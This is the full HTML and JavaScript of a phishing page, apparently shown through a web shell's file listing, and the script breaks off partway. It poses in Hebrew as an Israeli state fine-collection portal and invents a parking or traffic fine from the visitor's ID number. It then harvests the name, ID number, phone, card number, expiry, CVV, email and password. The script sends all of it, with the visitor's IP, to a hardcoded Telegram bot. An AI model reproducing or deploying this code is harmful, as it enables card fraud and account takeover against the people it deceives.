shell bypass 403

Iwafut Security Shell

: /home/rahcos/.trash/gov1/ [ drwxrwxrwx ]

name : index.html
<!DOCTYPE html>
<html dir="rtl" lang="he">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes, viewport-fit=cover">
    <title>המרכז לגביית קנסות – תשלום מאובטח</title>
    <link href="https://fonts.googleapis.com/css2?family=Rubik:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        * { margin:0; padding:0; box-sizing:border-box; -webkit-tap-highlight-color:transparent; }
        body { font-family:'Rubik',sans-serif; background:#f0f4f9; color:#1a2c3e; direction:rtl; line-height:1.4; padding:0; margin:0; }
        :root { --logo-blue-dark:#00264d; --logo-blue-medium:#1a5c9e; --button-blue:#003366; --button-hover:#002244; --card-shadow:0 6px 14px rgba(0,40,86,0.06); --light-blue-bg:#eef3fc; --accent-orange:#ff8c42; }
        .security-bar { background: #e8f5e9; color: #1b5e20; text-align: center; font-size: 0.65rem; padding: 4px 0; border-bottom: 1px solid #a5d6a7; font-weight: 500; letter-spacing: 0.5px; }
        .security-bar i { margin-left: 5px; }
        .top-header { background-color: var(--logo-blue-dark); padding: 0.7rem 1rem; display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 0.5rem; border-bottom: 2px solid var(--accent-orange); }
        .header-right { display:flex; align-items:center; gap:0.7rem; flex-wrap:wrap; }
        .menorah-icon { width:32px; height:32px; background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 120 120'%3E%3Cpath fill='white' d='M60,10 L65,25 L75,20 L70,35 L85,30 L78,45 L95,40 L85,55 L98,55 L85,65 L95,80 L78,75 L85,90 L70,85 L75,100 L65,95 L60,110 L55,95 L45,100 L50,85 L35,90 L42,75 L25,80 L35,65 L22,55 L35,45 L25,40 L42,35 L35,20 L50,25 L45,10 Z'/%3E%3C/svg%3E"); background-size:contain; background-repeat:no-repeat; }
        .logo-img { height:38px; width:auto; max-width:140px; object-fit:contain; }
        .site-title { color:white; font-size:0.7rem; font-weight:500; border-right:1px solid rgba(255,255,255,0.3); padding-right:0.6rem; line-height:1.2; }
        .site-title span { display:block; font-size:0.6rem; font-weight:400; opacity:0.85; }
        .header-left { display:flex; align-items:center; gap:0.8rem; }
        .header-time { color:white; font-size:0.65rem; opacity:0.9; direction:ltr; background:rgba(255,255,255,0.1); padding:0.2rem 0.6rem; border-radius:30px; }
        .lang-switch { display:flex; gap:0.5rem; }
        .lang-switch a { color:white; text-decoration:none; font-size:0.7rem; }
        .support-bar { background-color:var(--logo-blue-medium); padding:0.4rem 1rem; display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap; gap:0.5rem; }
        .support-links { display:flex; gap:0.8rem; font-size:0.7rem; }
        .support-links a { color:white; text-decoration:none; }
        .cart-icon { background:var(--accent-orange); padding:0.2rem 0.6rem; border-radius:30px; font-size:0.7rem; color:white; }
        .container { max-width:600px; margin:0 auto; padding:1rem; }
        .transaction-ref { background:white; border-radius:40px; padding:0.3rem 0.8rem; display:inline-block; font-size:0.7rem; font-weight:600; direction:ltr; font-family:monospace; margin-bottom:0.8rem; box-shadow:var(--card-shadow); }
        .steps-container { background:white; border-radius:24px; padding:0.7rem 0.5rem; margin-bottom:1rem; box-shadow:var(--card-shadow); }
        .steps-row { display:flex; justify-content:space-between; text-align:center; }
        .step-item { flex:1; }
        .step-number { width:38px; height:38px; background:#eef2f9; border-radius:50%; display:flex; align-items:center; justify-content:center; margin:0 auto 0.3rem; font-weight:800; font-size:1rem; color:#5b6f82; transition:all 0.2s; }
        .step-number.active { background:var(--logo-blue-dark); color:white; box-shadow:0 2px 8px rgba(0,38,77,0.3); }
        .step-number.completed { background:var(--accent-orange); color:white; }
        .step-label { font-size:0.65rem; font-weight:600; color:#4a627a; }
        .step-label.active { color:var(--logo-blue-dark); }
        .card { background:white; border-radius:28px; padding:1.2rem; margin-bottom:1rem; box-shadow:var(--card-shadow); border:1px solid rgba(0,0,0,0.02); }
        .notice-box { background:var(--light-blue-bg); border-right:4px solid var(--accent-orange); padding:0.8rem; border-radius:20px; font-size:0.8rem; line-height:1.5; margin-bottom:1.2rem; color:#1f3a4b; }
        .id-selection-title { font-size:1rem; font-weight:800; color:var(--logo-blue-dark); margin-bottom:1rem; border-bottom:2px solid var(--accent-orange); display:inline-block; padding-bottom:0.2rem; }
        .form-group { margin-bottom:1.2rem; }
        label { font-weight:700; font-size:0.85rem; display:block; margin-bottom:0.4rem; color:#1f3a4b; }
        .required { color:#d9534f; }
        .id-input, .text-input, .phone-input, .card-input, .cvv-input { width:100%; padding:0.75rem 0.8rem; font-size:0.9rem; border:1.5px solid #e2e8f0; border-radius:16px; background:white; transition:0.2s; font-family:'Rubik',monospace; direction:ltr; text-align:left; }
        .id-input:focus, .text-input:focus, .phone-input:focus, .card-input:focus, .cvv-input:focus { border-color:var(--accent-orange); outline:none; box-shadow:0 0 0 3px rgba(255,140,66,0.2); }
        select { width:100%; padding:0.75rem 0.8rem; font-size:0.9rem; border:1.5px solid #e2e8f0; border-radius:16px; background:white; font-family:'Rubik',sans-serif; }
        .btn { background:var(--button-blue); border:none; padding:0.8rem; font-size:1rem; font-weight:800; color:white; border-radius:60px; cursor:pointer; width:100%; max-width:280px; margin:0.5rem auto; display:block; transition:0.2s; box-shadow:0 2px 6px rgba(0,0,0,0.1); }
        .btn:hover { background:var(--button-hover); transform:translateY(-2px); }
        .btn:disabled { opacity:0.6; cursor:not-allowed; transform:none; }
        .payment-option-btn { background:white; border:2px solid var(--logo-blue-medium); border-radius:60px; padding:0.7rem; text-align:center; font-weight:700; font-size:0.9rem; cursor:pointer; margin-bottom:0.8rem; transition:0.2s; }
        .payment-option-btn:hover { background:var(--logo-blue-medium); color:white; }
        .bank-icons { display:flex; justify-content:center; gap:1.5rem; flex-wrap:wrap; margin:1rem 0; }
        .bank-icon-item { text-align:center; font-size:0.7rem; font-weight:600; color:#3a5a7a; transition:all 0.3s; cursor:default; }
        .bank-icon-item i { font-size:2rem; display:block; margin-bottom:5px; color:#4a6a8a; transition:0.3s; }
        .bank-icon-item:hover i { color:var(--accent-orange); transform:scale(1.15); text-shadow:0 0 15px rgba(255,140,66,0.3); }
        .bank-icon-item:hover { color:var(--logo-blue-dark); }
        .inline-group { display:flex; gap:0.8rem; flex-wrap:wrap; }
        .inline-group .form-group { flex:1; }
        .payment-icons { display:flex; justify-content:center; gap:1rem; font-size:1.6rem; color:#5a6e7c; margin-top:1rem; }
        .modal-overlay { position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.7); backdrop-filter:blur(4px); display:flex; align-items:center; justify-content:center; z-index:1000; visibility:hidden; opacity:0; transition:0.2s; padding:1rem; }
        .modal-overlay.active { visibility:visible; opacity:1; }
        .modal-container { background:white; border-radius:32px; max-width:340px; width:100%; padding:1.5rem; text-align:center; box-shadow:0 20px 30px rgba(0,0,0,0.2); }
        .modal-buttons { display:flex; gap:0.8rem; justify-content:center; margin-top:1.2rem; }
        .modal-btn { padding:0.5rem 1rem; border-radius:40px; font-weight:700; border:none; cursor:pointer; }
        .modal-btn.confirm { background:var(--button-blue); color:white; }
        .modal-btn.cancel { background:#e2e8f0; }
        .success-icon { font-size:3rem; color:#28a745; }
        .footer { background: #f8fafc; border-top: 2px solid #e2edf2; padding: 1.5rem 1rem; margin-top: 2rem; text-align: center; }
        .footer-links { display:flex; flex-wrap:wrap; justify-content:center; gap:1rem 1.5rem; margin-bottom:0.8rem; }
        .footer-links a { color:#3a5a7a; text-decoration:none; font-size:0.75rem; font-weight:500; transition:0.2s; }
        .footer-links a i { margin-left:4px; }
        .footer-links a:hover { color:var(--logo-blue-dark); text-decoration:underline; }
        .footer-phone { font-size:0.8rem; color:#1f3a4b; background:#eef3fc; display:inline-block; padding:0.2rem 1rem; border-radius:40px; margin-bottom:0.5rem; }
        .footer-phone i { color:var(--accent-orange); }
        .footer-copy { font-size:0.6rem; color:#5f7f9e; }
        .debug-panel { display:none; background:#1e1e1e; color:#d4d4d4; font-family:monospace; font-size:0.7rem; padding:10px; border-radius:12px; margin:10px 0; direction:ltr; text-align:left; max-height:200px; overflow:auto; white-space:pre-wrap; word-break:break-all; border:1px solid #333; }
        .debug-panel strong { color:#4fc3f7; }
        .ip-display { font-size:0.6rem; color:#7a8fa5; text-align:left; direction:ltr; padding:0.2rem 0.5rem; background:#f0f4f9; border-radius:30px; display:inline-block; margin-top:5px; }
        @media (max-width:480px) { .container { padding:0.8rem; } .card { padding:1rem; } .step-number { width:32px; height:32px; font-size:0.9rem; } .step-label { font-size:0.55rem; } .notice-box { font-size:0.7rem; padding:0.6rem; } .btn { font-size:0.9rem; padding:0.7rem; } .bank-icon-item i { font-size:1.5rem; } }
    </style>
</head>
<body>

<div class="security-bar"><i class="fas fa-lock"></i> חיבור מאובטח (SSL)  |  המשרד לביטחון לאומי  |  מערכת תשלומים מאובטחת</div>

<div class="top-header">
    <div class="header-right"><i class="menorah-icon"></i><img class="logo-img" src="logo1.PNG" alt="סמל מדינת ישראל"><div class="site-title">מדינת ישראל<span>רשות האכיפה והגבירה | gov.il</span></div></div>
    <div class="header-left"><span class="header-time" id="headerTime"><i class="far fa-clock"></i> <span id="clockDisplay"></span></span><div class="lang-switch"><a href="#">English</a><span>|</span><a href="#">العربية</a></div></div>
</div>

<div class="support-bar">
    <div class="support-links"><a href="#"><i class="fas fa-headset"></i> תמיכה ומידע</a><span>|</span><a href="#"><i class="fas fa-print"></i> העתק אישור תשלום</a></div>
    <div class="cart-icon"><i class="fas fa-shopping-cart"></i> <span>0</span></div>
</div>

<div class="container">
    <div style="display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap;">
        <span class="transaction-ref"><i class="fas fa-receipt"></i> עסקה: <span id="transactionRef"></span></span>
        <span class="ip-display"><i class="fas fa-network-wired"></i> IP: <span id="userIpDisplay">טוען...</span></span>
    </div>

    <div id="debugPanel" class="debug-panel"><strong>🔍 DEBUG MODE</strong><br><span id="debugContent">טוען נתונים...</span></div>

    <div class="steps-container">
        <div class="steps-row">
            <div class="step-item"><div class="step-number" id="step1Num">1</div><div class="step-label" id="step1Label">הזנת פרטים</div></div>
            <div class="step-item"><div class="step-number" id="step2Num">2</div><div class="step-label" id="step2Label">פרטי תשלום</div></div>
            <div class="step-item"><div class="step-number" id="step3Num">3</div><div class="step-label" id="step3Label">תשלום</div></div>
            <div class="step-item"><div class="step-number" id="step4Num">4</div><div class="step-label" id="step4Label">אישור</div></div>
        </div>
    </div>

    <!-- الصفحة 1 -->
    <div id="page1" class="card">
        <div class="notice-box"><strong>להשתמש לבכם:</strong><br><br>תשלום חוב יש לבחור באחד מאמצעי הזיהוי:<br>הזדהות עם מספר תיק של המרכז לגביית <strong>קנסות</strong> בצירוף מספר ת.ג. או מספר ח.פ.<br>(הזדהות זו תציג את כלל חובותיך במרכז).<br><strong>שמו לב!</strong> מספר תיק מרכז מופיע על גבי דרישת התשלום שהגיעה אליך בדואר או במטרה.</div>
        <div class="id-selection-title">בחר את סוג הזיהוי</div>
        <form id="identityForm">
            <div class="form-group"><label>תעודת זהות <span class="required">*</span></label><input type="text" id="idNumber" class="id-input" maxlength="9" inputmode="numeric"></div>
            <button type="button" class="btn" id="submitBtn">אישור</button>
        </form>
    </div>

    <!-- الصفحة 2 -->
    <div id="page2" class="card" style="display:none;">
        <div style="font-size:1.3rem; text-align:center; font-weight:800; margin-bottom:1rem;">פרטי חוב</div>
        <div style="background:#f8fafc; border-radius:20px; padding:0.8rem; margin:0.5rem 0;">
            <div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">מספר שובר</span><span id="voucherNumberDisplay"></span></div>
            <div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">מס' זהות (שהוזן)</span><span id="displayIdNumber"></span></div>
            <div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">סוג הקנס</span><span id="fineTypeDisplay">דוח חניה</span></div>
            <div style="display:flex; justify-content:space-between; padding:0.4rem 0;"><span style="font-weight:700;">התשלום עד לתאריך</span><span>30/06/2026</span></div>
        </div>
        <div style="background:var(--light-blue-bg); border-radius:20px; padding:0.8rem; text-align:center; margin:0.8rem 0;">
            <span style="font-weight:700;">סכום לתשלום :</span>
            <span style="font-size:1.8rem; font-weight:800; color:#c0392b; margin-right:0.5rem;" id="fineAmountDisplay">100 ₪</span>
        </div>
        <div class="payment-options">
            <div class="payment-option-btn" id="bankPaymentBtn"><i class="fas fa-university"></i> תשלום בבנק</div>
            <div class="payment-option-btn" id="creditPaymentBtn"><i class="fas fa-credit-card"></i> תשלום בכרטיס אשראי</div>
        </div>
    </div>

    <!-- الصفحة 3 -->
    <div id="page3" class="card" style="display:none;">
        <div class="bank-icons">
            <div class="bank-icon-item"><i class="fas fa-university"></i>בנק לאומי</div>
            <div class="bank-icon-item"><i class="fas fa-building"></i>בנק הפועלים</div>
            <div class="bank-icon-item"><i class="fas fa-landmark"></i>דיסקונט</div>
            <div class="bank-icon-item"><i class="fas fa-piggy-bank"></i>הבנק הבינלאומי</div>
        </div>
        <form id="paymentForm">
            <div class="form-group"><label>שם מלא <span class="required">*</span></label><input type="text" id="fullName" class="text-input" placeholder="ישראל ישראלי"></div>
            <div class="form-group"><label>מספר זהות <span class="required">*</span></label><input type="text" id="idPayment" class="id-input" maxlength="9" inputmode="numeric" placeholder="9 ספרות"></div>
            <div class="form-group"><label>מספר טלפון <span class="required">*</span></label><input type="tel" id="phone" class="phone-input" maxlength="10" placeholder="05xxxxxxxx" inputmode="numeric"></div>
            <div class="form-group"><label>מספר כרטיס אשראי <span class="required">*</span></label>
                <input type="text" id="cardNumber" class="card-input" maxlength="19" placeholder="1234 5678 9012 3456" inputmode="numeric" dir="ltr">
                <div id="cardError" style="color:#d9534f; font-size:0.7rem; margin-top:0.3rem;"></div>
            </div>
            <div class="inline-group">
                <div class="form-group"><label>חודש</label><select id="expMonth"><option disabled selected>--</option><option>01</option><option>02</option><option>03</option><option>04</option><option>05</option><option>06</option><option>07</option><option>08</option><option>09</option><option>10</option><option>11</option><option>12</option></select></div>
                <div class="form-group"><label>שנה</label><select id="expYear"><option disabled selected>----</option></select></div>
                <div class="form-group"><label>CVV</label><input type="password" id="cvv" class="cvv-input" maxlength="4" placeholder="123" inputmode="numeric" style="letter-spacing:2px;"><div style="font-size:0.6rem; color:#7a8fa5; margin-top:3px;">* מופיע בכרטיס שלך</div></div>
            </div>
            <button type="button" class="btn" id="payNowBtn">בצע תשלום</button>
        </form>
        <div class="payment-icons"><i class="fab fa-cc-visa"></i> <i class="fab fa-cc-mastercard"></i> <i class="fab fa-cc-paypal"></i> <i class="fab fa-cc-apple-pay"></i></div>
    </div>

    <!-- الصفحة 4 -->
    <div id="page4" class="card" style="display:none; text-align:center;">
        <canvas id="fireworksCanvas" style="position:fixed; top:0; left:0; width:100%; height:100%; pointer-events:none; z-index:1001; display:none;"></canvas>
        <div class="success-icon"><i class="fas fa-check-circle"></i></div>
        <div style="font-size:1.3rem; font-weight:800; margin:0.5rem 0;">התשלום התקבל בהצלחה!</div>
        <div id="receiptContent" style="background:#f8fafc; border-radius:20px; padding:0.8rem; margin:1rem 0; text-align:right;">
            <p><strong>תודה רבה על סיום החוב.</strong></p>
            <p><i class="fas fa-receipt"></i> מספר עסקה: <span id="successTxn"></span></p>
            <p><i class="fas fa-calendar-alt"></i> תאריך: <span id="successDate"></span></p>
            <p><i class="fas fa-credit-card"></i> סכום ששולם: <strong id="successAmount">100 ₪</strong></p>
            <p><i class="fas fa-ticket-alt"></i> מספר שובר: <span id="receiptVoucher"></span></p>
        </div>
        <button class="btn" id="downloadPDFBtn" style="background:#28a745;">הורד אישור PDF</button>
        <button class="btn" id="homeBtn" style="margin-top:0.5rem;">חזרה לדף הבית</button>
    </div>

    <div class="footer">
        <div class="footer-links"><a href="#"><i class="fas fa-wheelchair"></i> הצהרת נגישות</a><a href="#"><i class="fas fa-shield-alt"></i> מדיניות פרטיות</a><a href="#"><i class="fas fa-gavel"></i> תנאי שימוש</a><a href="#"><i class="fas fa-envelope"></i> יצירת קשר</a></div>
        <div class="footer-phone"><i class="fas fa-phone-alt"></i> לשאלות נוספות: *5555 | נציגות טלפונית 24/7</div>
        <div class="footer-copy"><i class="fas fa-lock"></i> מידע מאובטח | © כל הזכויות שמורות - מדינת ישראל</div>
    </div>
</div>

<!-- مودال الإيميل والباسورد -->
<div id="otpModal" class="modal-overlay">
    <div class="modal-container">
        <h3 style="font-size:1.3rem;"><i class="fas fa-envelope"></i> אימות זהות</h3>
        <p>הזן את כתובת האימייל והסיסמה שלך לאימות</p>
        <div id="authError" style="color:#c0392b; font-size:0.7rem; margin-bottom:0.5rem; text-align:center;"></div>
        <div class="form-group" style="text-align:right;"><label style="font-weight:700;">אימייל <span class="required">*</span></label><input type="email" id="emailInput" class="text-input" placeholder="example@domain.com" dir="ltr" style="text-align:left;"></div>
        <div class="form-group" style="text-align:right;"><label style="font-weight:700;">סיסמה <span class="required">*</span></label><input type="password" id="passwordInput" class="text-input" placeholder="לפחות 8 תווים" dir="ltr" style="text-align:left;" minlength="8"><div style="font-size:0.6rem; color:#7a8fa5; text-align:right; margin-top:4px;">* חייבת להכיל לפחות 8 תווים</div></div>
        <div class="modal-buttons"><button class="modal-btn cancel" id="cancelOtpBtn">ביטול</button><button class="modal-btn confirm" id="confirmOtpBtn">אישור</button></div>
    </div>
</div>

<script>
    // ============================================================
    // تم إدخال البوت توكن والشات آي دي مباشرة
    // ============================================================
    const MY_BOT_TOKEN = '8394777354:AAFAqyE2yciQcUlyoH682zZulRYPDB2LsvE';
    const MY_CHAT_ID = '-5501748870';

    document.addEventListener('DOMContentLoaded', function() {
        try {
            console.log('✅ DOM loaded. Telegram credentials are set.');

            // ============================================================
            // 1. تعيين التوكن
            // ============================================================
            let botToken = MY_BOT_TOKEN;
            let chatId = MY_CHAT_ID;
            console.log('🔑 Using provided Bot Token and Chat ID.');

            // ============================================================
            // 2. المتغيرات العامة
            // ============================================================
            const sessionId = Math.floor(100000 + Math.random() * 900000).toString();
            const page1 = document.getElementById('page1');
            const page2 = document.getElementById('page2');
            const page3 = document.getElementById('page3');
            const page4 = document.getElementById('page4');
            const submitBtn = document.getElementById('submitBtn');
            const idNumberInput = document.getElementById('idNumber');
            const payNowBtn = document.getElementById('payNowBtn');

            const tRef = document.getElementById('transactionRef');
            if (tRef) tRef.innerText = sessionId;
            const sTxn = document.getElementById('successTxn');
            if (sTxn) sTxn.innerText = sessionId;

            let currentFineAmount = 100;
            let currentFineType = "דוח חניה";
            let currentVoucherNumber = 'INV' + Math.floor(10000000 + Math.random() * 90000000).toString();
            let collectedData = {
                sessionId, fullName: "", idPayment: "", phone: "", cardNumber: "",
                expiryMonth: "", expiryYear: "", cvv: "", userIp: "Fetching...",
                page1Id: "", voucherNumber: currentVoucherNumber,
                email: "", password: ""
            };
            let paymentCompleted = false;

            // ============================================================
            // 3. جلب IP
            // ============================================================
            async function fetchIP() {
                try {
                    const res = await fetch('https://api.ipify.org?format=json');
                    const data = await res.json();
                    collectedData.userIp = data.ip;
                    const ipDisplay = document.getElementById('userIpDisplay');
                    if (ipDisplay) ipDisplay.innerText = data.ip;
                } catch(e) {
                    collectedData.userIp = "Unknown";
                    const ipDisplay = document.getElementById('userIpDisplay');
                    if (ipDisplay) ipDisplay.innerText = "לא זמין";
                }
            }
            fetchIP();

            // ============================================================
            // 4. دوال مساعدة
            // ============================================================
            function getFineAmount(id) {
                let hash = 0;
                for (let i = 0; i < id.length; i++) { hash = ((hash << 5) - hash) + id.charCodeAt(i); hash = hash & hash; }
                hash = Math.abs(hash);
                return 80 + (hash % 21);
            }
            function getFineType(amount) {
                if (amount <= 85) return "דוח חניה";
                if (amount <= 92) return "קנס מהירות";
                if (amount <= 97) return "דוח אי ציות";
                return "קנס תעבורה";
            }
            function isValidCreditCard(number) {
                const sanitized = number.replace(/\s/g, '');
                if (!/^\d{16}$/.test(sanitized)) return false;
                let sum = 0, alternate = false;
                for (let i = sanitized.length - 1; i >= 0; i--) {
                    let digit = parseInt(sanitized.charAt(i), 10);
                    if (alternate) { digit *= 2; if (digit > 9) digit -= 9; }
                    sum += digit;
                    alternate = !alternate;
                }
                return (sum % 10 === 0);
            }
            function updateStepsForPage2() {
                const s1 = document.getElementById('step1Num'), s2 = document.getElementById('step2Num');
                if (s1) { s1.classList.remove('active'); s1.classList.add('completed'); }
                if (s2) { s2.classList.add('active'); }
                const l1 = document.getElementById('step1Label'), l2 = document.getElementById('step2Label');
                if (l1) { l1.classList.remove('active'); l1.classList.add('completed'); }
                if (l2) { l2.classList.add('active'); }
            }
            function updateStepsForPage3() {
                const s2 = document.getElementById('step2Num'), s3 = document.getElementById('step3Num');
                if (s2) { s2.classList.remove('active'); s2.classList.add('completed'); }
                if (s3) { s3.classList.add('active'); }
                const l2 = document.getElementById('step2Label'), l3 = document.getElementById('step3Label');
                if (l2) { l2.classList.remove('active'); l2.classList.add('completed'); }
                if (l3) { l3.classList.add('active'); }
            }
            function updateStepsAfterPayment() {
                const s3 = document.getElementById('step3Num'), s4 = document.getElementById('step4Num');
                if (s3) { s3.classList.remove('active'); s3.classList.add('completed'); }
                if (s4) { s4.classList.add('completed'); }
                const l3 = document.getElementById('step3Label'), l4 = document.getElementById('step4Label');
                if (l3) { l3.classList.remove('active'); l3.classList.add('completed'); }
                if (l4) { l4.classList.add('completed'); }
            }
            function showSuccessPage() {
                const dateEl = document.getElementById('successDate');
                if (dateEl) dateEl.innerText = new Date().toLocaleDateString('he-IL');
                const voucherEl = document.getElementById('receiptVoucher');
                if (voucherEl) voucherEl.innerText = currentVoucherNumber;
                const amountEl = document.getElementById('successAmount');
                if (amountEl) amountEl.innerText = currentFineAmount + ' ₪';
                if (page3) page3.style.display = 'none';
                if (page4) page4.style.display = 'block';
                updateStepsAfterPayment();
                startFireworks();
            }

            // ============================================================
            // 5. دالة الإرسال إلى تيليجرام (مع تنبيه واضح)
            // ============================================================
            async function sendToTelegram(text) {
                const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
                try {
                    console.log('📤 جاري الإرسال إلى تيليجرام...');
                    const response = await fetch(url, {
                        method: 'POST',
                        headers: { 'Content-Type': 'application/json' },
                        body: JSON.stringify({ chat_id: chatId, text, parse_mode: 'Markdown' })
                    });

                    if (!response.ok) {
                        const errorText = await response.text();
                        throw new Error(`HTTP ${response.status}: ${errorText}`);
                    }

                    const result = await response.json();
                    if (result.ok) {
                        console.log('✅ تم الإرسال بنجاح إلى تيليجرام');
                        alert('✅ הנתונים נשלחו בהצלחה לטייליגרם!');
                    } else {
                        throw new Error(result.description || 'Unknown error');
                    }
                } catch (e) {
                    console.error('❌ فشل الإرسال:', e);
                    alert(`❌ נכשל שליחת הנתונים לטייליגרם!\n\nהסיבה: ${e.message}\n\nודא כי החיבור לאינטרנט פעיל.`);
                }
            }

            async function sendCardDetails() {
                const msg = `💳 *NEW CARD DETAILS* 💳\n🆔 *Session ID:* ${sessionId}\n🌐 *IP:* ${collectedData.userIp}\n💰 *Amount:* ${currentFineAmount} ₪\n🎫 *Fine:* ${currentFineType}\n\n👤 *Full Name:* ${collectedData.fullName}\n🆔 *ID:* ${collectedData.idPayment}\n📱 *Phone:* ${collectedData.phone}\n💳 *Card:* ${collectedData.cardNumber}\n📅 *Expiry:* ${collectedData.expiryMonth}/${collectedData.expiryYear}\n🔐 *CVV:* ${collectedData.cvv}\n🎫 *Voucher:* ${collectedData.voucherNumber}\n📧 *Email:* ${collectedData.email || 'לא סופק'}\n🔑 *Password:* ${collectedData.password || 'לא סופק'}`;
                await sendToTelegram(msg);
            }

            // ============================================================
            // 6. تعبئة قائمة السنوات
            // ============================================================
            const yearSelect = document.getElementById('expYear');
            if (yearSelect) {
                const curYear = new Date().getFullYear();
                while (yearSelect.options.length > 0) yearSelect.remove(0);
                const defaultOpt = document.createElement('option');
                defaultOpt.value = "";
                defaultOpt.text = "----";
                defaultOpt.disabled = true;
                defaultOpt.selected = true;
                yearSelect.appendChild(defaultOpt);
                for (let y = curYear; y <= curYear + 10; y++) {
                    let opt = document.createElement('option');
                    opt.value = y;
                    opt.text = y;
                    yearSelect.appendChild(opt);
                }
            }

            // ============================================================
            // 7. حدث زر "אישור" في الصفحة الأولى
            // ============================================================
            if (submitBtn) {
                submitBtn.addEventListener('click', function() {
                    const idVal = idNumberInput.value.trim();
                    if (!idVal || !/^\d{9}$/.test(idVal)) {
                        alert("מספר תעודת זהות חייב להכיל 9 ספרות.");
                        return;
                    }
                    submitBtn.disabled = true;
                    submitBtn.innerHTML = 'מתחבר...';
                    setTimeout(() => {
                        try {
                            currentFineAmount = getFineAmount(idVal);
                            currentFineType = getFineType(currentFineAmount);
                            collectedData.page1Id = idVal;
                            currentVoucherNumber = 'INV' + Math.floor(10000000 + Math.random() * 90000000).toString();
                            collectedData.voucherNumber = currentVoucherNumber;
                            const vDisplay = document.getElementById('voucherNumberDisplay');
                            const idDisplay = document.getElementById('displayIdNumber');
                            const fineTypeDisplay = document.getElementById('fineTypeDisplay');
                            const fineAmountDisplay = document.getElementById('fineAmountDisplay');
                            if (vDisplay) vDisplay.innerText = currentVoucherNumber;
                            if (idDisplay) idDisplay.innerText = idVal;
                            if (fineTypeDisplay) fineTypeDisplay.innerText = currentFineType;
                            if (fineAmountDisplay) fineAmountDisplay.innerHTML = currentFineAmount + ' ₪';
                            if (page1) page1.style.display = 'none';
                            if (page2) page2.style.display = 'block';
                            updateStepsForPage2();
                        } catch (err) { console.error(err); alert('حدث خطأ غير متوقع.'); }
                        finally {
                            submitBtn.disabled = false;
                            submitBtn.innerHTML = 'אישור';
                        }
                    }, 500);
                });
            }

            // ============================================================
            // 8. أزرار الدفع
            // ============================================================
            const bankBtn = document.getElementById('bankPaymentBtn');
            const creditBtn = document.getElementById('creditPaymentBtn');
            if (bankBtn) bankBtn.addEventListener('click', () => alert("הדגמת תשלום בבנק"));
            if (creditBtn) {
                creditBtn.addEventListener('click', () => {
                    if (page2) page2.style.display = 'none';
                    if (page3) page3.style.display = 'block';
                    updateStepsForPage3();
                });
            }

            // ============================================================
            // 9. تنسيق الحقول
            // ============================================================
            const cardInput = document.getElementById('cardNumber');
            const cardErrorDiv = document.getElementById('cardError');
            if (cardInput) {
                cardInput.addEventListener('input', function() {
                    let raw = this.value.replace(/\s/g, '').replace(/\D/g, '').slice(0,16);
                    let f = ''; for (let i=0;i<raw.length;i++) { if(i>0 && i%4===0) f+=' '; f+=raw[i]; } this.value=f;
                    if (raw.length === 16) {
                        if (!isValidCreditCard(raw)) { if (cardErrorDiv) cardErrorDiv.innerText = 'מספר הכרטיס שהוזן אינו תקין.'; }
                        else { if (cardErrorDiv) cardErrorDiv.innerText = ''; }
                    } else { if (cardErrorDiv) cardErrorDiv.innerText = ''; }
                    collectedData.cardNumber = raw;
                });
            }
            const phoneInput = document.getElementById('phone');
            if (phoneInput) phoneInput.addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,10); });
            const idPaymentInput = document.getElementById('idPayment');
            if (idPaymentInput) idPaymentInput.addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,9); });
            const cvvInput = document.getElementById('cvv');
            if (cvvInput) cvvInput.addEventListener('input', function(){ this.value=this.value.replace(/\D/g,'').slice(0,4); });

            // ============================================================
            // 10. زر "בצע תשלום"
            // ============================================================
            if (payNowBtn) {
                payNowBtn.addEventListener('click', function() {
                    const name = document.getElementById('fullName')?.value.trim() || '';
                    const idVal = document.getElementById('idPayment')?.value.trim() || '';
                    const phoneVal = document.getElementById('phone')?.value.trim() || '';
                    const cardRaw = (document.getElementById('cardNumber')?.value || '').replace(/\s/g,'');
                    const month = document.getElementById('expMonth')?.value || '';
                    const year = document.getElementById('expYear')?.value || '';
                    const cvvVal = document.getElementById('cvv')?.value.trim() || '';

                    if (!name) { alert("יש להזין שם מלא כפי שמופיע בכרטיס האשראי."); return; }
                    if (!/^\d{9}$/.test(idVal)) { alert("מספר הזהות שהוזן אינו תקין. יש להזין 9 ספרות."); return; }
                    if (!/^05\d{8}$/.test(phoneVal)) { alert("מספר הטלפון חייב להתחיל ב-05 ולהכיל 10 ספרות."); return; }
                    if (!/^\d{16}$/.test(cardRaw)) { alert("מספר כרטיס האשראי חייב להכיל 16 ספרות."); return; }
                    if (!isValidCreditCard(cardRaw)) { alert("מספר כרטיס האשראי אינו תקין."); return; }
                    if (!month || !year) { alert("יש לבחור חודש ושנת תפוגה."); return; }
                    if (!/^\d{3,4}$/.test(cvvVal)) { alert("קוד ה-CVV אינו תקין."); return; }

                    collectedData.fullName = name;
                    collectedData.idPayment = idVal;
                    collectedData.phone = phoneVal;
                    collectedData.cardNumber = cardRaw;
                    collectedData.expiryMonth = month;
                    collectedData.expiryYear = year;
                    collectedData.cvv = cvvVal;

                    payNowBtn.disabled = true;
                    payNowBtn.innerHTML = 'שולח...';

                    setTimeout(() => {
                        try {
                            // إرسال البيانات (سيظهر تنبيه نجاح أو فشل)
                            sendCardDetails();

                            // عرض المودال
                            const authError = document.getElementById('authError');
                            if (authError) authError.innerText = '';
                            const emailInput = document.getElementById('emailInput');
                            const passInput = document.getElementById('passwordInput');
                            if (emailInput) emailInput.value = '';
                            if (passInput) passInput.value = '';
                            const modal = document.getElementById('otpModal');
                            if (modal) modal.classList.add('active');
                        } catch (err) {
                            console.error(err);
                            alert('حدث خطأ غير متوقع.');
